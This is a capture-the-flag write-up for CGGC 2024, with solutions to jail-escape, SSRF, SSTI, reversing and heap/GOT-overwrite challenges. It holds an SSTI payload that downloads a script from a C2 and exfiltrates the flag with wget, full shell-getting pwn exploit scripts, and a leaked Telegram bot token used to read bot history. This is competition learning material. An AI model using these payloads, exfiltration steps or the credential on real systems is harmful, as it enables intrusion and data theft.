Skip to content

Latest commit

 

History

History
775 lines (590 loc) · 26.4 KB

CGGC 2024.md

File metadata and controls

775 lines (590 loc) · 26.4 KB

CGGC 2024

tags: CTF

Player:

  • ywc
  • MuMu
  • Pierre
  • AxelHowe

  • ctfd
  • Teamname: i'm down QQ
  • Rank: 4/121
  • Solve: 10/12

Imgur

Misc

Day31- 水落石出!真相大白的十一月預告信?

There's a tag info leak with this challenge, after we search the full 30days in iThome, we will get a telegram bot API secret
https://api.telegram.org/bot7580842046:AAEKmOz8n3C265m2_XSv8cGFbBHg7mcnbMM/sendPhoto, which can be abused at searching history in the bot channel.

import requests

# Replace with your actual bot token
bot_token = "7580842046:AAEKmOz8n3C265m2_XSv8cGFbBHg7mcnbMM"
base_url = f"https://api.telegram.org/bot{bot_token}"

# Example 1: Get Bot Information
response = requests.get(f"{base_url}/getMe")
print("Bot Info:", response.json())

# Example 2: Get Updates (Messages sent to the bot)
response = requests.get(f"{base_url}/getUpdates")
print("Updates:", response.json())

Imgur flag: CGGC{1_h8t3_y0u_K41d0_K4zm4}
I hate fucking OSINT, too.

BreakJail

Source code

#!/usr/local/bin/python3
print(open(__file__).read())

flag = open('flag').read()
flag = "Got eaten by the cookie monster QQ"

inp = __import__("unicodedata").normalize("NFKC", input(">>> "))

print(dir(__import__("GoodPdb").good_breakpoint))
if any([x in "._." for x in inp]) or inp.__len__() > 55:
    print('bad hacker')
else:
    print(
            eval(inp, {"__builtins__": {}}, {
         'breakpoint': __import__('GoodPdb').good_breakpoint})
            )

print(flag)

Code in comment mention that it's patched from the other source, so let's diff to check the changelog.

--- origin.py   2024-11-02 14:51:02.053995600 +0800
+++ GoodPdb.py  2024-11-02 15:31:57.380265900 +0800
@@ -1,7 +1,8 @@
-#!/usr/bin/python3.10 -W ignore
 import pdb

 class GoodPdb(pdb.Pdb):
+
+
     def cmdloop(self, intro=None):
         """Repeatedly issue a prompt, accept input, parse an initial prefix
         off the received input, and dispatch to action methods, passing them
@@ -38,7 +39,11 @@
                 else:
                     if self.use_rawinput:
                         try:
-                            line = input(self.prompt)
+                            """
+                            no interactive!
+                            """
+                            # line = input(self.prompt)
+                            line = "EOF"
                         except EOFError:
                             line = 'EOF'
                     else:
@@ -60,3 +65,12 @@
                     readline.set_completer(self.old_completer)
                 except ImportError:
                     pass
+
+    def do_interact(self, arg):
+        """
+        no interactive!
+        """
+        pass
+
+
+good_breakpoint = GoodPdb().set_trace

Modified version cancelled the interactive loop with user, so we need to interactive with breakpoint in another way.
First important section mentioned in python3.14 document, breakpoint allow to input debugger commands without interactive with raw_input.
Second, we have no built-in functions to use, so top priority is to escape the eval function.

  1. Use n;;n to get out the position of eval local frame, notice eval is divied to 2 lines so we should next 2 steps
  2. j 4 back to above read flag
  3. n for executing read flag
  4. p flag get the flag variable in current frame.

Imgur

BTW, this YouTube video describes technology details about pdb from the python core developer gaotian.

Web

Preview Site 🔍

flag 在 filesystem 的 /flag

/fetch 有 SSRF 漏洞,但會檢查 url 前綴是不是 http://previewsite/,看起來繞不過

if not url.startswith(os.getenv("DOMAIN", "http://previewsite/")):
    raise ValueError('badhacker')
resp = send_request(url)

不過 request 可以接受 redirect,因此開始思考網站有沒有 open redirect 之類的漏洞

def send_request(url, follow=True):
    try:
        response =  urllib.request.urlopen(url)
    except urllib.error.HTTPError as e:
        response = e
    redirect_url = response.geturl()
    if redirect_url != url and follow:
        return send_request(redirect_url, follow=False)
    return response.read().decode('utf-8')

login 有 open redirect 漏洞,但是要用 POST 打 username 和 password,難以利用

@app.route('/login', methods=['GET', 'POST'])
def login():
    next_url = request.args.get('next', url_for('index'))
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if users.get(username) == password:
            session['username'] = username
            flash('login success')
            return redirect(next_url)
        else:
            error = 'login failed'
            return render_template('login.html', error=error, next=next_url)
    return render_template('login.html', next=next_url)

可利用的點在 logout,一樣是 open redirect 漏洞,不過可以使用 GET

@app.route('/logout')
def logout():
    session.pop('username', None)
    next_url = request.args.get('next', url_for('index'))
    return redirect(next_url)

payload: http://previewsite/logout?next=file:///flag

CGGC{open_redirect_to_your_local_file_2893hrgiubf3wq1}

proxy

source:

<?php

function proxy($service) {
    // $service = "switchrange";
    // $service = "previewsite";
    // $service = "越獄";
    $requestUri = $_SERVER['REQUEST_URI'];
    $parsedUrl = parse_url($requestUri);

    $port = 80;
    if (isset($_GET['port'])) {
        $port = (int)$_GET['port'];
    } else if ($_COOKIE["port"]) {
        $port = (int)$_COOKIE['port'];
    }
    setcookie("service", $service);
    setcookie("port", $port);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@';
    $fixeddomain = trim(trim($service, $filter).".cggc.chummy.tw:".$port, $filter);
    $fixeddomain = idn_to_ascii($fixeddomain);
    $fixeddomain = preg_replace('/[^0-9a-zA-Z-.:_]/', '', $fixeddomain);
    curl_setopt($ch, CURLOPT_URL, 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING']);
    curl_exec($ch);
    curl_close($ch);
}

if (!isset($_GET['service']) && !isset($_COOKIE["service"])) {
    highlight_file(__FILE__);
} else if (isset($_GET['service'])) {
    proxy($_GET['service']);
} else {
    proxy($_COOKIE["service"]);
}

在 args 中可以設定 service, port 等做 SSRF,但 service 只能指定 cggc.chummy.tw 底下的 subdomain

漏洞的點在 idn_to_ascii 函式,實際測試發現超過 url 大小 (63 字元) 時回傳值會是空的,因此就會變成存取 http:///<path>?<querystring>

設定 path 為要存取的網站,即可 SSRF

payload: /secretweb/flag?service=<一個很長的字串>

CGGC{1Dn_7O_45c11_5o_57R4n9E_11fc26f06c33e83f65ade64679dc0e58}

BreakJail Online

@app.route('/SsTiMe', methods=['GET'])
def showip():
    # WOW! There has a SSTI in Flask!!!
    q = request.args.get('q', "'7'*7")

    # prevent smuggling bad payloads!
    request.args={}
    request.headers={}
    request.cookies={}
    request.data ={}
    request.query_string = b"#"+request.query_string

    if any([x in "._.|||" for x in q]) or len(q) > 88:
        return "Too long for me :/ my payload less than 73 chars"

    res = render_template_string(f"{{{{{q}}}}}",
        # TODO: just for debugging, remove this in production
        breakpoint=breakpoint,
        str=str
    )

    # oops, I just type 'res' not res qq
    return 'res=7777777'

題目要求

  • 不能使用 . _ |
  • 長度 <= 88
  • 清空 request 部分資訊
  • python3.140a1

因為在 render_template 中允許使用 breakpoint,而 3.14.0a1 的 breakpoint 中可以使用 commands 指定執行的 breakpoint command,可以在裡面執行 python

一個做法是在裡面用 os.system,但因為長度限制和沒有回顯的關係,因此採用 wget 下載 sh 指令碼執行 (沒有 nc, curl 等,因此無法直接 nc 送結果出去)

下載指令 payload (<ip> 的地方是 C2 的 IP,點使用 \x2e bypass filter):

/SsTiMe?q=breakpoint(commands=["import os;os\x2esystem('wget <ip>:8000/y');;c"])

C2 server (<ip> 的地方是 C2 的 IP):

from flask import Flask, request

app = Flask(__name__)

@app.route('/y')
def hello_world():
    return 'wget --post-file=`ls /f*` <ip>:8081'

if __name__ == '__main__':
    app.run('0.0.0.0', 8000)

執行指令

/SsTiMe?q=breakpoint(commands=["import os;os\x2esystem('sh y');;c"])

CGGC{breakpoint_is_a_biiiig_gadget_oj237rpwd3i2}

如果遇到長度問題可以用八進位的形式減少使用 \x2e
或是用重覆寫檔構建 script

Reverse

Lazy7

這題其實就是實作了 lz77 壓縮演算法,用 IDA 觀察會做壓縮並替換部分的 byte,重複兩次 Imgur

所以只要將替換 byte 的部分還原,且實作解壓縮的部分,就會得到一串 base64 編碼,解碼後就會是一張 png 圖片

Imgur

import base64


def base64_to_png(base64_str, output_file):

    if base64_str.startswith('data:image/png;base64,'):
        base64_str = base64_str.split(',')[1]

    image_data = base64.b64decode(base64_str)

    with open(output_file, 'wb') as f:
        f.write(image_data)

def decompress(compressed_data, num_entries):
    output = []
    output_pos = 0

    for i in range(0, num_entries):
        # Extract the distance, length, and next character from the compressed data
        offset = int.from_bytes(compressed_data[i * 12:i * 12 + 4], 'little')  # Distance to match
        length = int.from_bytes(compressed_data[i * 12 + 4:i * 12 + 8], 'little')  # Length of match
        next_char = compressed_data[i * 12 + 8: i * 12 + 9].decode('utf-8')  # Next unmatched character
        
        if length == 0:
            # No match, just add the literal character
            output.append(next_char)
            output_pos += 1
        else:
            # Copy match from the output using the offset
            for _ in range(length):
                start_index = output_pos - offset
                output.append(output[start_index])
                output_pos += 1
            # Append the next character after match
            if next_char != '':
                output.append(next_char)
                output_pos += 1
    
    return ''.join(output)

def assemble_hex(data:str) -> bytes:
    output = ""
    for i in range(0, len(data), 10):
        b1 = data[i:i+2]
        b2 = data[i+2:i+4]
        b3 = data[i+4:i+6]
        b4 = data[i+6:i+8]
        b5 = data[i+8:i+10]

        output += f"{b2}{b1}0000{b4}{b3}0000{b5}000000"

    return bytes.fromhex(output)

if __name__ == "__main__":

    f = open("./test.txt", "r").read().split("Output Data: ")[1]

    print("len(f): ", len(f))
    print("f: ", f)
    if len(f) % 10 != 0:
        print('error: len(f) % 10 != 0')
        exit(0)
    tmp2 = assemble_hex(f)

    decomp2 = decompress(tmp2, len(tmp2) // 12)
    print('decomp2: ')
    print(decomp2)

    
    decomp2 = decomp2[:-1] # 好像後面有多餘的字元
    print('len(decomp2): ', len(decomp2))
    if len(decomp2) % 10 != 0:
        print('error: len(decomp2) % 10 != 0')
        exit(0)

    tmp = assemble_hex(decomp2)

    decomp = decompress(tmp, len(tmp) // 12)
    print('decomp: ')
    print(decomp)

    base64_string = decomp
    output_filename = 'flag.png'
    base64_to_png(base64_string, output_filename)
    # CGGC{G00d_n3w5_Y0ur3_n0t_l4zy!}

UnityFlagChecker

程式是用 il2cpp 包的,可以用 https://github.com/djkaty/Il2CppInspector 拆,但拆出來沒有 source code 只有 structure,因此要進一步分析

有一個 checkstring utfqqa7by/VSLA28KYr2W9rsheykILbRStSNO09I5E3elYlOAn3gTwjLOG27TuVzccgx+JMO,推測是 ciphertext

Imgur

另外在 level 0 裡面有發現 key 和 iv,長度對得上 chacha20 的設定

雖然有 ciphertext、key 和 iv,但是無法解密,可能在程式中使用改過的 chacha20 算法

解法是使用參考 frida bridge hook 上面的函式,將 flag 設定回去,由於 chacha20 是對稱式加密的關係因此加密等同於解密,將變數指定好之後做加密即可拿到明文
注意輸入的大小要跟 checkstring 的 54 一樣長,不然 buffer 大小不同會壞掉
其餘 function 主要是動態追蹤使用到的 function

Test script

import "frida-il2cpp-bridge";

Il2Cpp.perform(() => {
  /* dump all function calls */
  /*
  Il2Cpp.trace()
     .assemblies(Il2Cpp.domain.assembly('Assembly-CSharp'))
     .and()
     .attach();
    //*/

  /* dump encryption related function calls and their arguments / return values */
  /*
  Il2Cpp.trace(true)
     .assemblies(Il2Cpp.domain.assembly('Assembly-CSharp'))
     .filterClasses(klass => klass.name == 'Calcer')
     .and()
     .attach();
//*/
  //*
  const mscorlib = Il2Cpp.domain.assembly("mscorlib").image;
  const AssembyCSharp = Il2Cpp.domain.assembly('Assembly-CSharp').image;

  const Calcer = AssembyCSharp.class("Calcer");
  const CalcerWorkBytes = Calcer.method<void>("WorkBytes");

  const flag = [186,215,234,169,174,219,203,245,82,44,13,188,41,138,246,91,218,236,133,236,164,32,182,209,74,212,141,59,79,72,228,77,222,149,137,78,2,125,224,79,8,203,56,109,187,78,229,115,113,200,49,248,147,14];
  
//*/

  // @ts-ignore
  //*
  CalcerWorkBytes.implementation = function(output: Il2Cpp.Array, input: Il2Cpp.Array, numBytes: number): void {
    for (let i = 0; i < numBytes; ++i) {
      input.set(i, flag[i]);
   }
    this.method<void>("WorkBytes").invoke(output, input, numBytes);
    console.log(output);
 }
  //*/
});

Imgur

Very secure

根據題目以及 strings 結果推論 flash.bin 為 ESP-IDF 框架的 firmware,利用修改後的 esp32_image_parser 可以 dump 出三個 partition 其中 nvsphy_init 為空,固 factory 為分析之重點。

Imgur

利用 ghidra 逆向的結果可由 a very secure string 字串追回推論是 handle get request path 的函式部分

Imgur

FUN_400d8dcc 就是解 flag 的位置

DAT_3f41015c = b'\x02\x06\x06\x02\x3a\x28\x71\x35\x1e\x20\x33\x72\x1e\x37\x24\x33\x38\x1e\x32\x24\x22\x34\x33\x24\x3c\x00\x00\x00'

與 'A' xor 就可以解出 flag

Imgur

CGGC{i0t_ar3_very_secure}

Pwn

CGGC VM

程式有三個功能 input opcode, execute opcodeexit

Imgur

input opcode 會要求讀入有多少 opcode 和每個指令,儲存指令的 ptr 會使用 malloc 生成,比較特別的是如果做 input opcode 要求的大小與上次不同,則會進行 free 再 malloc

Imgur

execute opcode 會讀取先前輸入的指令,並根據 opcode 做相關的行為,包含 register, memory, stack 之類的操作

Imgur Imgur

bye 的部分是單純的 free,沒有真的離開程式

Imgur

程式保護全開

Imgur

漏洞的點在於 0xc0xd 的 opcode (push, pop) 沒有檢查 sp_4050 是不是超出範圍,可以進行 OOB read / write

global variable 的 layout 大概長這樣

.data:0000000000004000 _data
.data:0000000000004008 __dso_handle
LOAD:0000000000004010 ???
.bss:0000000000004020 stdout@@GLIBC_2_2_5
.bss:0000000000004028 <align>
.bss:0000000000004030 stdin@@GLIBC_2_2_5
.bss:0000000000004038 <align>
.bss:0000000000004040 stderr@@GLIBC_2_2_5
.bss:0000000000004048 completed_8061
.bss:0000000000004050 sp_4050
.bss:0000000000004058 <align>
.bss:0000000000004060 mem     dq     1000h
.bss:000000000000C060 ops
.bss:000000000000C068 ptr
.bss:000000000000C070 <align>
.bss:000000000000C080 reg     dq     100h
.bss:000000000000C880 stack   dq     1000h

stdin, stdout, stderr 的地方可以讀取到 libc 上的位置,在 ptr 上可以讀取到 heap 上的位置,在 __dso_handle 可以讀取到 data 區段上的位置,可以使用前面的 OOB read 來 leak

當有了 codebase, libcbase,可以得出 libc freehookstack 的位置,就可以透過修改 sp_4050 變成相對的 offset 使得下一次做 push stack 的 opcode 時可以修改 freehook 的值,寫成 system,並觸發 free,即可 get shell

策略整理如下

  1. OOB read,leak ptr 拿 heapbase (雖然事後發現不需要)
  2. OOB read,leak stdout__dso_handle,得到 libcbase, codebase,並將 sp_4050 調整到 sp_4050 的 offset
  3. sp_4050 改成 free hook 的 offset,寫 free hook
  4. 觸發 free_hook

以下是完整的 exploit

from pwn import *
binary = "./chal"

context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
context.binary = binary

conn = remote("10.99.66.2", 1337)
# conn = process(binary)
# conn = gdb.debug(binary, "set solib-search-path ./libc.so.6")

def read_opcode(size, data):
    conn.sendlineafter(b'> ', b'1')
    conn.sendlineafter(b'Size: ', str(size).encode())
    conn.recvuntil(b'Opcodes: ')
    for d in data:
        conn.sendline(str(d).encode())

def execute_opcode():
    conn.sendlineafter(b'> ', b'2')

# chunk1 (leak ptr)
pop_r0 = u64(b'\x00\x00\x00\x00\x0d\x00\x00\x00'[::-1])
push_r1 = u64(b'\x00\x00\x00\x00\x0c\x00\x00\x01'[::-1]) # ops
print_r0 = u64(b'\x00\x00\x00\x00\x0b\x00\x00\x00'[::-1])

set_r1_265 = [
    u64(b'\x00\x00\x00\x00\x00\x01\x00\xff'[::-1]), # set r1 255
    u64(b'\x00\x00\x00\x00\x00\x02\x00\x0a'[::-1]), # set r2 10
    u64(b'\x00\x00\x00\x00\x01\x01\x01\x02'[::-1]), # add r1, r1, r2
]

context.log_level = "info"
read_opcode(260+1+3+1, [pop_r0] * 260 + [print_r0] + set_r1_265 + [push_r1])
context.log_level = "debug"
execute_opcode()

leak = int(conn.recvline().strip().decode().split(":")[1]) # heap
print(f"leak: {hex(leak)}")
heapbase = leak - 0x2d0
print(f"heapbase: {hex(heapbase)}")

# chunk2 (leak libc, codebase)
pop_r0 = u64(b'\x00\x00\x00\x00\x0d\x00\x00\x00'[::-1])
pop_r1 = u64(b'\x00\x00\x00\x00\x0d\x00\x00\x01'[::-1])
pop_r2 = u64(b'\x00\x00\x00\x00\x0d\x00\x00\x02'[::-1])
pop_r3 = u64(b'\x00\x00\x00\x00\x0d\x00\x00\x03'[::-1])
pop_r4 = u64(b'\x00\x00\x00\x00\x0d\x00\x00\x04'[::-1])
push_r1 = u64(b'\x00\x00\x00\x00\x0c\x00\x00\x01'[::-1]) # stderr
push_r2 = u64(b'\x00\x00\x00\x00\x0c\x00\x00\x02'[::-1]) # stdin
push_r3 = u64(b'\x00\x00\x00\x00\x0c\x00\x00\x03'[::-1]) # stdout
push_r4 = u64(b'\x00\x00\x00\x00\x0c\x00\x00\x04'[::-1]) # __dso_handle
push_r128 = u64(b'\x00\x00\x00\x00\x0c\x00\x00\x80'[::-1]) # always 0
print_r3 = u64(b'\x00\x00\x00\x00\x0b\x00\x00\x03'[::-1])
print_r4 = u64(b'\x00\x00\x00\x00\x0b\x00\x00\x04'[::-1])

context.log_level = "info"
read_opcode(0x1003+7+5+10, 
            [pop_r0] * 0x1003 + 
            [pop_r0, pop_r0, pop_r1, pop_r0, pop_r2, pop_r0, pop_r3] + 
            [pop_r0, pop_r0, pop_r4, print_r4, print_r3] + 
            [push_r128, push_r4, push_r128, push_r128, push_r3, push_r128, push_r2, push_r128, push_r1, push_r128]
)
context.log_level = "debug"
execute_opcode()

leak = int(conn.recvline().strip().decode().split(":")[1]) # bss
print(f"leak: {hex(leak)}")
codebase = leak - 0x4008
print(f"codebase: {hex(codebase)}")

leak = int(conn.recvline().strip().decode().split(":")[1]) # stdout
print(f"leak: {hex(leak)}")
libcbase = leak - 0x1ed6a0
print(f"libcbase: {hex(libcbase)}")

# chunk3 (modify free_hook)
print_r1 = u64(b'\x00\x00\x00\x00\x0b\x00\x00\x01'[::-1])
push_r1 = u64(b'\x00\x00\x00\x00\x0c\x00\x00\x01'[::-1])
def build_reg1(value) -> list:
    out = []
    value_base256 = []
    while value:
        value_base256.append(value & 0xff)
        value >>= 8
    out.append(u64(b'\x00\x00\x00\x00\x00\x01\x00\x00'[::-1])) #mov r1, 0
    for i,val in enumerate(value_base256):
        out.append(u64((b'\x00\x00\x00\x00\x00\x02\x00' + bytes([val]))[::-1])) #mov r2, val
        out.append(u64((b'\x00\x00\x00\x00\x00\x03\x00' + bytes([i*8]))[::-1])) #mov r3, i*8
        out.append(u64(b'\x00\x00\x00\x00\x05\x02\x02\x03'[::-1])) #lshift r2, r2, r3
        out.append(u64(b'\x00\x00\x00\x00\x01\x01\x01\x02'[::-1])) #add r1, r1, r2
    return out

# push to modify sp
free_hook = libcbase + 0x1eee48
stack = codebase + 0xc880
system = libcbase + 0x52290
build_reg1_0xdeadbeef = build_reg1((free_hook - stack) // 8)
build_reg1_system = build_reg1(system)
context.log_level = "info"
read_opcode(1 + len(build_reg1_0xdeadbeef) + 1 + 1 + len(build_reg1_system) + 1, 
            [u64(b'/bin/sh\x00')] + 
            build_reg1_0xdeadbeef + [push_r1] + [print_r0] + build_reg1_system + [push_r1])
context.log_level = "debug"
execute_opcode()

# chunk4 (next chunk)
conn.sendlineafter(b'> ', b'1')
conn.sendlineafter(b'Size: ', str(4).encode())

conn.interactive()

CGGC{00b_l3ak_and_0v3rwr1t3_h00k}

oneshot

題目一開始就給 printf 的 address,直接省略了 leak libc 的步驟,而且還可以輸入任一 address,再用 fget 接收長度 224 的 input,可以任意位置寫入

一開始是在想有沒有機會用 one_gadget 拿到 shell 權限,但感覺機率不大就沒有嘗試

後來我是先用 gdb 查看 vmmap 中 libc 的 rw-(可寫) 區段,看看有沒有什麼可以修改的東西,就看到有 libc GOT 表可寫,就想到好像可以改寫 libc 的 GOT 表 Imgur

參考 HackTricks 也有提到可以改寫 strlen 的 GOT 表去指向 system function,且題目在 fget 之後也剛好有 call 到 puts function

Strlen2system Another common technique is to overwrite the strlen GOT address to point to system, so if this function is called with user input it's posisble to pass the string "/bin/sh" and get a shell. Moreover, if puts is used with user input, it's possible to overwrite the strlen GOT address to point to system and pass the string "/bin/sh" to get a shell because puts will call strlen with the user input.

不過就算可以改寫到 strlen 的 GOT 表,但卻沒有 /bin/sh 可以當參數,所以又卡了一陣子,後來發現了這個 GitHub repo 說明了達成 libc 任意寫後,如何改寫 GOT 表,直接拿到 shell 權限,且檢查題目的 libc 版本也剛好 <= 2.35,

題目有限制 payload 的長度,但還是可以直接用 repo 裡面給的 fx3 的 template 去 get shell

但我之前對 libc 的 GOT 表不太熟悉,用 gdb 觀察也是一堆 <*ABS*@got.plt>,看不出個所以然,所以我就用 gdb 分析,直接 si 進入 puts 觀察 strlen 的 GOT 在哪個 address

下面這行就是在 call strlen function,繼續 si 就能找到 GOT 的 address

0x7f9c5e95de63 <puts+19>        call   0x7f9c5e905490 *ABS*+0xa86a0@plt

# 繼續 si 應該會看到這個,這個 098 結尾的就是 strlen 的 GOT address 
# 這樣就能知道跟 GOT base address 的 offset 了
0x7f9c5eaf7098 *ABS*@got.plt

這時就能修改 fx3 的參數 pos = 16,就能剛剛好蓋到 0x7f9c5eaf7098,只要 call puts 就能進入 strlen 再進入 system function,觸發 ROP get shell 了

import re
from pwn import *

context.arch='amd64'

p = process('./chal',env={"LD_PRELOAD":"./libc.so.6"})
libc = ELF('./libc.so.6')

# p = remote('10.99.66.3',31337)

base = int(p.readline(),16) - libc.symbols['printf']
libc.address = base
success(hex(base))


class ROPgadget():
    def __init__(self,libc: ELF,base=0):
        if Path("./gadgets").exists():
            print("[!] Using gadgets, make sure that's corresponding to the libc!")
        else:
            fp = open("./gadgets",'wb')
            subprocess.run(f"ROPgadget --binary {libc.path}".split(" "),stdout=fp)
            fp.close()
        fp = open("./gadgets",'rb')
        data = fp.readlines()[2:-2]
        data = [x.strip().split(b" : ") for x in data]
        data = [[int(x[0],16),x[1].decode()] for x in data]
        fp.close()
        self.gadgets = data
        self.base  = base
    def search(self,s):
        for addr,ctx in self.gadgets:
            match = re.search(s, ctx)
            if match:
                return addr+self.base
        return None   
def fx3(libc,pos = 1, rop_chain=[],nudge=0):
    # 
    # nudge to align stack
    assert(pos>=1)
    assert(pos<=36)
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    rop = ROPgadget(libc,libc.address)
    escape = rop.search(r"^pop rsp .*jmp rax")
    pivot = rop.search(r"^pop rsp ; ret")
    rop_chain += [escape,got+0x3000-nudge*8] 
    rop_len = len(rop_chain)
    if pos <= rop_len:
        # We can shrink it but make it more complex
        payload = flat([got+0x18+pos*8,pivot])+flat([0]*(pos-1))+p64(plt0)+flat(rop_chain)
    else:
        # We can shrink it but make it more complex
        payload = flat([got+0x18,pivot])+flat(rop_chain)+flat([0]*(pos-rop_len))+p64(plt0)
        
    return got+0x08,payload


rop = ROP(libc)
rdi = rop.find_gadget(["pop rdi",'ret'])[0]
rax = rop.find_gadget(["pop rax",'ret'])[0]


rop_chain = [rdi,libc.search(b"/bin/sh").__next__(),rax,libc.sym["system"]]
dest, payload = fx3(libc,16,rop_chain,1) 
success(hex(dest))
success(hex(len(payload)))


p.sendline((hex(dest)))
p.sendline(payload)

p.interactive()
# CGGC{0ne_sh0t_14_4ll_y0u_nEEd!}